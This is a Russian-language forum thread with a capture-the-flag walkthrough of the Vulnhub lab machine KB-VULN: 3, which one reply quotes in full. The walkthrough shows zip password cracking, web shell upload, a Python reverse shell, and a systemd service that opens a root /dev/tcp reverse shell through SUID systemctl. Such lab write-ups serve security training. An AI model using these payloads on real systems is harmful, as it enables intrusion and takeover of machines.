ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Writeup KB-VULN: 3 Vulnhub - небезопасные сервисы (https://forum.antichat.xyz/showthread.php?t=1639061)

INPC 05.12.2021 21:32

Приветствую!

Это прохождение третьей машины из серии KB-VULN. Прохождение предыдущих машин можно посмотреть тут 1 и 2.

Найти и скачать коробку можно тутKB-VULN: 3

Исходные данные:
Атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и root.txt.
Основная машина (с которой проводится атака) под управлением ОС Kali Linux
Задача: получить 2 флага с целевой машины (user.txt и root.txt) и права пользователя root.

Как всегда, сначала найдем атакуемую машину в сети при помощи команды:

Код:

~$ sudo netdiscover
В результате видим нужный ip:
Код:

192.168.3.142
Теперь просканируем машину nmap'ом:

Код:

~$ nmap -A -p- -v 192.168.3.142
https://forum.antichat.xyz/attachmen...8714983355.png

Видим 3 сервиса: 22 порт - ssh, 80 порт - http и самба (139, 445 порты).
Первым делом стоит проверить самбу, вдруг там есть что-то общедоступное:

Код:

~$ smbmap -H 192.168.3.142
https://forum.antichat.xyz/attachmen...8715344531.png

Видим директорию доступную для чтения и записи - Files, с комментарием: HACK ME ... Этот вызов оказался проще, чем мне казалось, но все по порядку. Для начала следует подключиться к этому каталогу и посмотреть, что в нем (пароль оставляем пустым, просто жмем ENTER ):

Код:

~$ smbclient //192.168.3.142/Files
https://forum.antichat.xyz/attachmen...8715634391.png

В каталоге Files был найден всего 1 архив, который и был стянут, однако при распаковке архива оказалось, что он требует пароль:

https://forum.antichat.xyz/attachmen...8715921556.png

Если же попробовать распаковать архив с пустым паролем, распакуется только древо каталогов "sitemagic", в котором нет ни одного файла (и в принципе нет особо полезной информации).
Попробуем забрутить пароль со стандартным словарем:

Код:

~$ fcrackzip -u -D -p /home/kali/Lab/rockyou.txt /home/kali/Lab/website.zip -v
https://forum.antichat.xyz/attachmen...8716160315.png

И да, пароль найден, теперь спокойно распаковываем архив и видим интересный файл README.txt, в котором есть логин и пароль от админки сайта:

https://forum.antichat.xyz/attachmen...8716513394.png

Что ж, пойдем смотреть. А перейдя на сайт (http://192.168.3.142) видим очень красивую страницу 404:

https://forum.antichat.xyz/attachmen...8714948638.png

Нужно подкорректировать файл hosts:

Код:

~$ sudo echo "192.168.3.142 kb.vuln" >> /etc/hosts
И, перейдя на сайт (http://kb.vuln/) видим стандартную приветственную страницу apache, теперь можно запустить перебор страниц на этом сайте, а можно найти админскую панель научным методом тыка, перейдя на страницу http://kb.vuln/admin

https://forum.antichat.xyz/attachmen...8717837671.png

Зайдя в админку с логином и паролем из файла README.txt (admin::jesse) видно, что есть возможность загружать файлы на сервер, попробуем загрузить самый простой php-шелл следующего содержания:

Код:


https://forum.antichat.xyz/attachmen...8718172621.png

Я загрузил файл в папку files/editor . Теперь попробуем его использовать (перейдем к этому файлу и передадим команду ls ):

Код:

http://kb.vuln/files/editor/shell.php?cmd=ls
https://forum.antichat.xyz/attachmen...8718389060.png

Окей, теперь попробуем загрузить туда же python revers-shell и запустить его.
Содержимое файла rev.py (этот код будет выполняться на стороне сервера. Тут все просто, импортируются стандартные модули и инициируется подключение к основное машине, через порт 1337) :

Python:


Код:

import
os
,
socket
,
subprocess
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
connect
(
(
"192.168.3.131"
,
1337
)
)
os
.
dup2
(
s
.
fileno
(
)
,
0
)
os
.
dup2
(
s
.
fileno
(
)
,
1
)
os
.
dup2
(
s
.
fileno
(
)
,
2
)
p
=
subprocess
.
call
(
[
"/bin/bash"
,
"-i"
]
)

Загрузив файл, проверим, что он есть:

https://forum.antichat.xyz/attachmen...8719697221.png

Теперь запустим прослушиватель на основной машине:

Код:

~$ nc -lnvp 1337
Выдадим права на запуск файлу rev.py на сервере и запустим его:

Код:

http://kb.vuln/files/editor/shell.php?cmd=chmod +x rev.py
Код:

http://kb.vuln/files/editor/shell.php?cmd=python rev.py
https://forum.antichat.xyz/attachmen...8722176339.png

Мы внутри, пойдем, попробуем прочитать пользовательский флаг:

Код:

www-data@kb-server:/var/www/html/sitemagic/files/editor$ cat /home/heisenberg/user.txt
6346c6d19751f1a3195f1e4b4b609544

https://forum.antichat.xyz/attachmen...8722365164.png

Пользовательский флаг есть, время получать рут. И тут я завис на продолжительное время.... Просмотр истории команд пользователя ничего не дал, поиск паролей в файловой системе - тоже, из-под судо, разумеется тоже ничего сделать нельзя. По итогу пароль пользователя я так и не нашел, и доступ к учетной записи heisenberg я тоже не получил, но зато поиск фалов, исполняемых от рута показал bin/systemctl

Код:

www-data@kb-server:/$ find / -perm -u=s -type f 2>/dev/null
https://forum.antichat.xyz/attachmen...8723112818.png

Этот вектор атаки мне уже знаком, поэтому я и выбрал его. Все, что нужно - добавить свой сервис, который будет подключаться к основной машине, давая шелл. Подготовленный файл toor.service выглядит вот так:

Bash:


Код:

[
Unit
]
Description
=
Whatever
[
Service
]
Type
=
simple
User
=
root
ExecStart
=
/bin/bash -c
"/bin/bash -i >& /dev/tcp/192.168.3.131/4444 0>&1"
[
Install
]
WantedBy
=
multi-user.target

Теперь запустим веб-сервер на основной машине и стянем сервис на целевую машину:

Код:

~$  sudo python -m SimpleHTTPServer 80
Код:

www-data@kb-server:/dev/shm$ wget http://192.168.3.131/toor.service
https://forum.antichat.xyz/attachmen...8723583705.png

Предварительно запустим прослушиватель на основной машине:

Код:

~$ nc -lnvp 4444
Осталось запустить сервис:

Код:

www-data@kb-server:/dev/shm$ cd /etc/systemd/system/multi-user.target.wants
Код:

www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl enable /dev/shm/toor.service
/dev/shm/toor.service.
Created symlink /etc/systemd/system/toor.service -> /dev/shm/toor.service.

Код:

www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl start toor
<ystem/multi-user.target.wants$ systemctl start toor

https://forum.antichat.xyz/attachmen...8723871708.png

I'AM ROOT !!! Рут получен, пошли, заберем заслуженный рут-флаг:

https://forum.antichat.xyz/attachmen...8723987161.png

Сам флаг- 49360ba4cbe27a1b900df25b247315d7

На этом все, в серии машин KB-VULN осталась еще одна машина KB:VULN-FINAL, но выкладывать её прохождение я уже не буду, как и прохождение других машин, так-как эти врайтапы, видимо вообще никому не интересны, что очень печально.

Ну и как всегда, если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку.

Большое спасибо всем, кто дочитал этот врайтап до конца.

Treangl 06.12.2021 10:08

Что значит "никому не интересно"? Очень интересно новичкам, которым важно понять направление, ход размышлений, который приводит к определенному порядку действий. Если статьи не вызвали мгновенный взрыв аплодисментов, это не значит, что они никому не интересны не будут читаться. Бороздя просторы интернета и, в частности, форума Antichat, часто находишь статьи, написанные уже давно, но актуальные для прочтения в настоящий момент. И, к тому же, не все читатели оставляют отзывы. Да, я тоже после прочтения не побегу решать упомянутую машинку. И навряд ли оставил бы комментарий, если бы не последний абзац статьи. Но, может, Ваш опыт поможет мне в решении других задач.
Спасибо за Вашу работу. Еще не один человек помянет Вас добрым словом, пусть и про себя.

INPC 06.12.2021 10:13

Спасибо за оценку и отзыв, очень мотивирует продолжать подобную деятельность)

Сергей Сталь 07.12.2021 10:38

Молодца, отличная статья! И исходники для тех кто захочет повторить есть, шикарно.
Ждем следующую статью!

Qulan 07.12.2021 12:14

Неплохо все расписано. Я даже для себя кое что взял! Продолжай писать, все хорошо получается)))

Nick Nickovich 21.01.2022 10:06

Цитата:


INPC сказал(а):

Приветствую!

Это прохождение третьей машины из серии KB-VULN. Прохождение предыдущих машин можно посмотреть тут 1 и 2.

Найти и скачать коробку можно тутKB-VULN: 3

Исходные данные:
Атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и root.txt.
Основная машина (с которой проводится атака) под управлением ОС Kali Linux
Задача: получить 2 флага с целевой машины (user.txt и root.txt) и права пользователя root.

Как всегда, сначала найдем атакуемую машину в сети при помощи команды:

Код:

~$ sudo netdiscover
В результате видим нужный ip:
Код:

192.168.3.142
Теперь просканируем машину nmap'ом:

Код:

~$ nmap -A -p- -v 192.168.3.142
Видим 3 сервиса: 22 порт - ssh, 80 порт - http и самба (139, 445 порты).
Первым делом стоит проверить самбу, вдруг там есть что-то общедоступное:

Код:

~$ smbmap -H 192.168.3.142
Видим директорию доступную для чтения и записи - Files, с комментарием: HACK ME ... Этот вызов оказался проще, чем мне казалось, но все по порядку. Для начала следует подключиться к этому каталогу и посмотреть, что в нем (пароль оставляем пустым, просто жмем ENTER ):

Код:

~$ smbclient //192.168.3.142/Files
В каталоге Files был найден всего 1 архив, который и был стянут, однако при распаковке архива оказалось, что он требует пароль:

Если же попробовать распаковать архив с пустым паролем, распакуется только древо каталогов "sitemagic", в котором нет ни одного файла (и в принципе нет особо полезной информации).
Попробуем забрутить пароль со стандартным словарем:

Код:

~$ fcrackzip -u -D -p /home/kali/Lab/rockyou.txt /home/kali/Lab/website.zip -v
И да, пароль найден, теперь спокойно распаковываем архив и видим интересный файл README.txt, в котором есть логин и пароль от админки сайта:

Что ж, пойдем смотреть. А перейдя на сайт (http://192.168.3.142) видим очень красивую страницу 404:

Нужно подкорректировать файл hosts:

Код:

~$ sudo echo "192.168.3.142 kb.vuln" >> /etc/hosts
И, перейдя на сайт (http://kb.vuln/) видим стандартную приветственную страницу apache, теперь можно запустить перебор страниц на этом сайте, а можно найти админскую панель научным методом тыка, перейдя на страницу http://kb.vuln/admin

Зайдя в админку с логином и паролем из файла README.txt (admin::jesse) видно, что есть возможность загружать файлы на сервер, попробуем загрузить самый простой php-шелл следующего содержания:

Код:


Я загрузил файл в папку files/editor . Теперь попробуем его использовать (перейдем к этому файлу и передадим команду ls ):

Код:

http://kb.vuln/files/editor/shell.php?cmd=ls
Окей, теперь попробуем загрузить туда же python revers-shell и запустить его.
Содержимое файла rev.py (этот код будет выполняться на стороне сервера. Тут все просто, импортируются стандартные модули и инициируется подключение к основное машине, через порт 1337) :

Python:


Код:

import
os
,
socket
,
subprocess
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
connect
(
(
"192.168.3.131"
,
1337
)
)
os
.
dup2
(
s
.
fileno
(
)
,
0
)
os
.
dup2
(
s
.
fileno
(
)
,
1
)
os
.
dup2
(
s
.
fileno
(
)
,
2
)
p
=
subprocess
.
call
(
[
"/bin/bash"
,
"-i"
]
)

Загрузив файл, проверим, что он есть:

Теперь запустим прослушиватель на основной машине:

Код:

~$ nc -lnvp 1337
Выдадим права на запуск файлу rev.py на сервере и запустим его:

Код:

http://kb.vuln/files/editor/shell.php?cmd=chmod +x rev.py
Код:

http://kb.vuln/files/editor/shell.php?cmd=python rev.py
Мы внутри, пойдем, попробуем прочитать пользовательский флаг:

Код:

www-data@kb-server:/var/www/html/sitemagic/files/editor$ cat /home/heisenberg/user.txt
6346c6d19751f1a3195f1e4b4b609544

Пользовательский флаг есть, время получать рут. И тут я завис на продолжительное время.... Просмотр истории команд пользователя ничего не дал, поиск паролей в файловой системе - тоже, из-под судо, разумеется тоже ничего сделать нельзя. По итогу пароль пользователя я так и не нашел, и доступ к учетной записи heisenberg я тоже не получил, но зато поиск фалов, исполняемых от рута показал bin/systemctl

Код:

www-data@kb-server:/$ find / -perm -u=s -type f 2>/dev/null
Этот вектор атаки мне уже знаком, поэтому я и выбрал его. Все, что нужно - добавить свой сервис, который будет подключаться к основной машине, давая шелл. Подготовленный файл toor.service выглядит вот так:

Bash:


Код:

[
Unit
]
Description
=
Whatever
[
Service
]
Type
=
simple
User
=
root
ExecStart
=
/bin/bash -c
"/bin/bash -i >& /dev/tcp/192.168.3.131/4444 0>&1"
[
Install
]
WantedBy
=
multi-user.target

Теперь запустим веб-сервер на основной машине и стянем сервис на целевую машину:

Код:

~$  sudo python -m SimpleHTTPServer 80
Код:

www-data@kb-server:/dev/shm$ wget http://192.168.3.131/toor.service
Предварительно запустим прослушиватель на основной машине:

Код:

~$ nc -lnvp 4444
Осталось запустить сервис:

Код:

www-data@kb-server:/dev/shm$ cd /etc/systemd/system/multi-user.target.wants
Код:

www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl enable /dev/shm/toor.service
/dev/shm/toor.service.
Created symlink /etc/systemd/system/toor.service -> /dev/shm/toor.service.

Код:

www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl start toor
<ystem/multi-user.target.wants$ systemctl start toor

I'AM ROOT !!! Рут получен, пошли, заберем заслуженный рут-флаг:

Сам флаг- 49360ba4cbe27a1b900df25b247315d7

На этом все, в серии машин KB-VULN осталась еще одна машина KB:VULN-FINAL, но выкладывать её прохождение я уже не буду, как и прохождение других машин, так-как эти врайтапы, видимо вообще никому не интересны, что очень печально.

Ну и как всегда, если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку.

Большое спасибо всем, кто дочитал этот врайтап до конца.


Все очень достойно особенно для новичков я тоже некоторые техники ваши модифицирую! Ваш контент очень важен он учить думать и размышлять как безопастник

Ivan1111 13.03.2023 14:51

Когда открываю коробку на виртуалке, то просит kb-server login и password соответсвенно. Не подскажете креды?


Время: 23:45